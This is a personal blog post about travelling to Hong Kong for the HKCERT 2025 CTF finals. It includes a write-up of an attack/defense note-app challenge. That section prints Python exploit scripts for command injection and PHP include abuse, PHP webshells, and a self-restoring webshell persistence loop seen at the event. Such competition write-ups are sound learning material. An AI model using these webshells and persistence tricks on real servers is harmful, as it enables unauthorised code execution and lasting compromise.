HKCERT 2025 Finals blog

The Hong Kong Productivity Council (HKPC) (link), in collaboration with other institutions and companies, organized this CTF competition. As you might expect, the finals took place in Hong Kong. Similar to my previous blog about TheSASCON CTF Finals, I’m sharing my experience from this event and my travel there.
Arrival to Hong Kong
2 Days to the CTF

Fortunately for me, the travel to the finals was ONLY 20 hours đź’€, shorter than the 25-hour journey to TheSASCON. I hope that if I have another opportunity, the next finals will be closer to my location. I took a flight from my hometown to Paris, which was very cold and foggy. Before the second flight, from Paris to Hong Kong, they began spraying a liquid onto the aircraft. I wasn’t sure what it was—possibly water for cleaning or de-icing fluid. At least during this second 14-hour flight, I was seated by the window with no one occupying the seat next to me. I slept for more than half of the flight. This decision had consequences for the following days.

I left home at 5 PM and arrived in Hong Kong at 7 PM the next day. At the airport, I met up with Aali, whom I had first met at TheSASCON.
We met Itay at the apartment we rented for him and me. A special mention is needed here: Itay had arrived the day before and booked an apartment for two days, with the plan that I would join him for the second night. The funny part was that he originally booked an apartment in Shenzhen, which is in Mainland China, and requires a visa to enter. He noticed this when he was buying the train ticket and they asked him if he had the VISA🤣. Consequently, he couldn’t access the apartment and had to book a new one.

Tourism day
Day before the CTF
As I mentioned, the sleep during the flight had its consequences, and I could barely sleep for one hour that night. The plan for that morning was to reach our new hotel and leave our luggage there before going to Victoria Peak. The problem: Hong Kong’s city signals. It took us some time to find the hotel’s entrance.

After leaving our luggage at the hotel, we hiked all the way from the metro station to the peak, instead of taking the tram. It wasn’t terrible, but we were all sweating profusely since none of us had brought shorts. Before starting the hike, still in the city, we passed through the zoo, where we saw the aviary and monkeys.
The views from the hike and at the top were absolutely breathtaking. We enjoyed panoramic views from the top to both sides of the mountain, despite not paying for access to the observation rooftop.

On our descent from the summit, we searched for a place to eat and discovered a fantastic Chinese restaurant. The pork bun was delicious, but the egg tart was truly amazing. It was so good that I’m inspired to try making it myself at home. On our way back to the hotel, I met Zhan, who had come from Xiamen to play with the invited team, Phony. Since his team had one female player and there were three of us, we had to share a room. Although communication was a bit challenging at first, we both made an effort to understand each other. While talking with him, I noticed he had some unrealistic expectations about life in Europe. After this, Aali told me that there is a syndrome called Paris Syndrome that reflects a bit this. In any case, it was a real pleasure sharing the room with him.
That day, we went to a coffee shop in the mall next to the hotel to help in the Srdnlen Quals, which were happening that day. Since I hadn’t slept the previous night, I started to feel very sleepy. Consequently, when we returned to the hotel (7PM), I skipped dinner and went straight to bed.
Competition day
First day of the CTF

I’m not sure, but it might have been jet lag. I woke up at 2:00 AM. Fortunately, due to the time difference, it was a normal hour in my hometown, so I was able to chat with my family and girlfriend.
We walked into the HKPC building at 9 PM. From the outside, if you add some fog it looked like something straight out of a scary movie – like a building in Silent Hill game. Even it can be perfectly part of a map in Counter-Strike. But then we stepped inside, and it was totally different! All modern and high-tech, with robots zipping around cleaning the air and stuff. The conference room, where the competition took place, was impressive. The building also housed a variety of laboratories dedicated to different research areas, equipped with sophisticated and likely expensive machinery.
Each team was assigned a table, adorned with their team banner, and equipped with a router for internet connectivity. As is often the case, we encountered some initial network connection issues, but they were quickly resolved. I will write a recap of the competition after the second day section.

After the first day of the competition, we met “The Few Chosen”, a team comprised of Romanian players. They were all incredibly friendly. While we were chatting with the Romanian guys, two of the big bosses in suits came over to us. They asked if we were doing okay and if we needed anything. It seemed like they really wanted to make sure we were having a good time.
Our plan for that evening was to go to Buddha, but Romanians informed us that they had already been there the previous day and it closed at 6:00 PM. Since we couldn’t reach before it closes, we decided to go for a walk in the direction of the hotel. During our walk, we came across a couple of markets and got a glimpse of the city.

Just like the previous day, I was extremely tired by 7 PM. Consequently, I skipped dinner again and went to bed at 8 PM.
Competition Second day
Since I had gone to bed early, I woke up AGAIN at 2:00 PM. To pass the time, I decided to review a challenge that had been retired, mistakenly believing it would be released again on the second day of the competition.

After breakfast, we returned to the HKPC building for the second day of competition.
About HKCERT Finals
The challenges for both the qualifications and finals were created by the Black Bauhinia team. I thoroughly enjoyed the qualification rounds, and I also had a great time during the finals. The CTF featured four participant categories: Secondary School students from Hong Kong, full-time students enrolled in diploma, higher diploma, associate degree, or bachelor’s degree programs at Hong Kong universities or colleges, teams consisting of Hong Kong residents or individuals holding valid Hong Kong work or study visas, and the international category.

Instead of the usual Jeopardy format, the finals followed a King of the Hill model. Although the challenge I worked on was focused on Attack/Defense. In my case, I only worked on two challenges (link): the mini A/D and the retired Splatoon challenge. I worked on the Splatoon challenge because I thought they were gonna release it on the second day since I didn’t check Discord. My bad!. At least, I skipped dealing with crypto stuff that I have no idea xD
Mini A/D Challenge

From the start, I worked on the Mini A/D challenge, which was just a pretty standard Attack and Defense challenge.
The challenge involved a typical website for writing and reading notes, but with three different levels of security.
The first level had no protection on the note (level=2
).
The second level used token protection (level=4
), and the third level required a token, with the information stored in a QR code (level=7
).
I feel like I was pretty quick in spotting and fixing the vulnerabilities, even though I broke the SLA and messed up the bot checker in a pretty silly way with one of the fixes.
On the flip side, I was super slow when it came to creating the exploit script.
So, let me walk you through the vulnerabilities first, and then I’ll try to explain in a simple way what kind of script you usually need to create.
The first vulnerability, which was pretty easy to spot, was in the QR code generation. It wasn’t sanitizing the user input at all, so you could basically insert anything into the shell_exec
, like ; ls
for example.
My idea here was to store the result of the command injection in the QR code and then parse the QR to get the answer.
I have to admit, though, I spent way too much time on this silly thing just trying to find a library that actually worked reading the qr.
So in the end, I didn’t even end up using it.
Next up, are the two issues with using include
in the reading. If you check the docs of include
, it mentions:
The include expression includes and evaluates the specified file.
So, the idea for exploiting this was pretty simple. Here’s what people used during the event:
- Exploit QR code generation (
shell_exec
) with no sanitization and execute commands. - Write PHP code in the note/message and use the
include
to execute our PHP code. - Write PHP code in the note/message and access the folder
messages/our_note.php
to execute it. - List the messages with the regular functionality and try to find the flag.
Idea of Attack/Defense exploiting script
Before diving into the exploits, I’ll quickly explain how you usually prepare an exploit for an Attack and Defense competition. If you’ve played in one before, feel free to skip this part. The idea is to grab the teams and their corresponding IPs from the organizer’s endpoint, and then you go ahead and exploit the teams. You can also set some rules, like not exploiting yourself (pretty obvious, right?), or avoiding top teams so they don’t steal your exploit. For testing, you can target the NOP team. It’s not really a team—just the services running as they are at the start. Or your own team, to check if you’re still vulnerable.
# One exploiting example
nop_ip = "..."
our_ip = "..."
flags = []
flags = exploit(ip)
submit_flags(flags)
# With all the teams
authorization = {'Authorization': 'Bearer 4kojAItt5INBJuWRMl4fgohrT6iQvHUS'}
teams_ips = requests.get(TEAMS, headers=authorization).json()
# Or like this
teams_ips = [ ...,
{'team_id': 3, 'team_name': 'thehackerscrew', 'ip_address': '...'},
...
]
while True:
print('starting...')
for ip in teams_ips:
flags = []
# Skip our team
if ip['team_id'] == 3:
continue
# Create new Process for exploiting each team
# to try to be faster
print(ip)
Process(target=ip_attack, args=(ip,)).start()
# Until the next 'tick'
print('sleeeping... 5 minutes')
time.sleep(295)
1. QR generation and shell_exec
One example from my script. I cleaned a bit.
def create_qr(ip, name, message, level):
url = f"http://{ip}/post.php?name={name}&level={level}&message={message}"
r = requests.post(url)
token = r.text
return token
def exploit_qr(ip):
name = '.'+''.join(random.choice(string.ascii_lowercase) for _ in range(random.randint(7,10)))
message = urllib.parse.quote_plus(f';echo \'<?php system($_GET["cmd"])?>\'>messages/{name}.php')
level = 7
flags = []
# Create qr
token = create_qr(ip, name, message, level)
# Execute the php
payload = f"http://{ip}/messages/{name}.php?cmd=" + urllib.parse.quote_plus("cat *")
values = requests.get(payload).text
# Escape file not found
if "DOCTYPE" in values:
return []
for file in values.split('\n'):
file_value = requests.get(f"http://{ip}/messages/{file}").text
if re.findall('^MINIAD\\{[A-Za-z0-9]{32}\\}$', value):
return re.findall('^MINIAD\\{[A-Za-z0-9]{32}\\}$', value)
return flags
As I mentioned before, here was also possible to do the grep into a file or other possible ideas.
Include exploitation example
def exploit(ip):
name = '.'+''.join(random.choice(string.ascii_uppercase) for _ in range(random.randint(7,10))) + ".php"
message = "<? echo system(" + urllib.parse.quote_plus(f'grep "MINIAD{" *') + ");?>"
level = 2
requests.post(f"http://{ip}/post.php?name={name}&message={message}&level={level}")
# Read all messages
r = requests.get(f"http://{ip}/post.php?name={name}&level={level}")
value = r.text
if re.findall('^MINIAD\\{[A-Za-z0-9]{32}\\}$', value):
return re.findall('^MINIAD\\{[A-Za-z0-9]{32}\\}$', value)
return []
Access the note with PHP code
def exploit(ip):
name = '.'+''.join(random.choice(string.ascii_uppercase) for _ in range(random.randint(7,10))) + ".php"
message = "<?=`$_GET[m]`?>"
level = 2
requests.post(f"http://{ip}/post.php?name={name}&message={message}&level={level}")
r = requests.get(f"http://{ip}/messages/{name}.php?m=id;cat%20*")
value = r.text
if re.findall('^MINIAD\\{[A-Za-z0-9]{32}\\}$', value):
return re.findall('^MINIAD\\{[A-Za-z0-9]{32}\\}$', value)
return []
Cool tricks I saw
One trick I saw was creating hidden notes. This way, they wouldn’t get wiped out when people ran rm *
(even though that flag disappeared xD).
The code — that I saw and I think the winning teams were using for persistance — was running never-ending processes to avoid new patches.
This is an example of exploit I saw:
<?php
$file = '.5f035eb5dc783eaf9c96d4fefedc0313.php';
$code = '<?php if(md5($_POST["pass"])=="098eb8ba2cc924fad0ec05acd869a4eb"){eval($_POST["cmd"]);}?>';
while (1){
system('chmod -R 777 ../messages');\
unlink('.htaccess');
unlink('.user.ini');
rmdir($file);
unlink($file);
file_put_contents($file,$code)\;
touch($file, strtotime("2009-01-01 12:00:00"));
usleep(1000);
}
?>
How to Lose Tons of SLA Points: A Tutorial
On the second day, I started worrying about why our service was throwing errors for the check bot. I manually tested all three levels of messages, and everything seemed fine. At one point, I even thought we weren’t getting the flags and asked the organizers. So, sorry about that, guys xD

Finally, I figured out that one of my patches was messing with the {
character.
So, the flag was storing as MINIAD\{blablabla\}
and breaking the SLA.
This may also be the reason to not be exploited during the all competition xD.
Honestly, I don’t even want to know how many points we lost here. Sorry, mates!
Event thoughts
The event was incredible. I had so much fun and got a ton of stickers. Honestly, I don’t have any complaints—maybe just that there was no coffee. The jetlag and lack of sleep made it a bit tough to stay focused, but overall, everything was amazing. I’m a bit jealous they have such amazing events there, and I feel like something like this will never happen in my country. I mean, we could debate how realistic the challenges are and the real impact of the event, beyond just the marketing, but it’s not always easy to see since it’s focused on students and local universities/schools. Still, I think it does a lot to help build a local infosec/computer science community that could produce some next-level researchers. Huge shoutout to all the organizers!
Following the awards ceremony, the conference began with presentations. The first speaker was GonJK, but since the presentation was in Chinese, we took the opportunity to visit Buddha. We went to visit the Buddha, which, according to the internet, is the second largest Buddha in the world. To get there, we took the 360 cable car. It was pretty expensive, around 33 euros, but totally worth it. On the way back, it started raining.

Final day

Last day, and last buffet breakfast—maybe for the next few years.
Our original plan was to do the Lyon Hike, but since Aali wasn’t feeling great, we just strolled through the harbor and checked out a couple of gardens.
In the harbor, there was something like Hollywood’s Walk of Fame, with handprints from actors, actresses, and directors on the railing.
Out of all the people, I only recognized Jackie Chan and Bruce Lee. I also found it interesting that many of the actresses were famous for playing male roles.
I also saw a ‘James Wong,’ which I guess is the Chinese version of ‘James Bond’ xD
In one of the gardens, we found a maze, and the first thing Aali said was, ‘This should be a maze for Asian people’ because the maze wasn’t very tall, and you could easily spot the winning path. Before leaving Hong Kong, I had to stop for another egg tart—such an amazing dessert!

I wrote most of this blog at the airport while waiting for my 14-hour flight.
Final words
Final thoughts: huge thanks again to the organizers and my teammates. It was incredible visiting Hong Kong and meeting new people. I came back with so many things, like the stickers and event goodies, plus the food Aali gave me (since at THESAScon I gave him some Spanish ham) and a tea I bought there. Hope you enjoyed reading this blog post!
Random pics
Thanks for reading!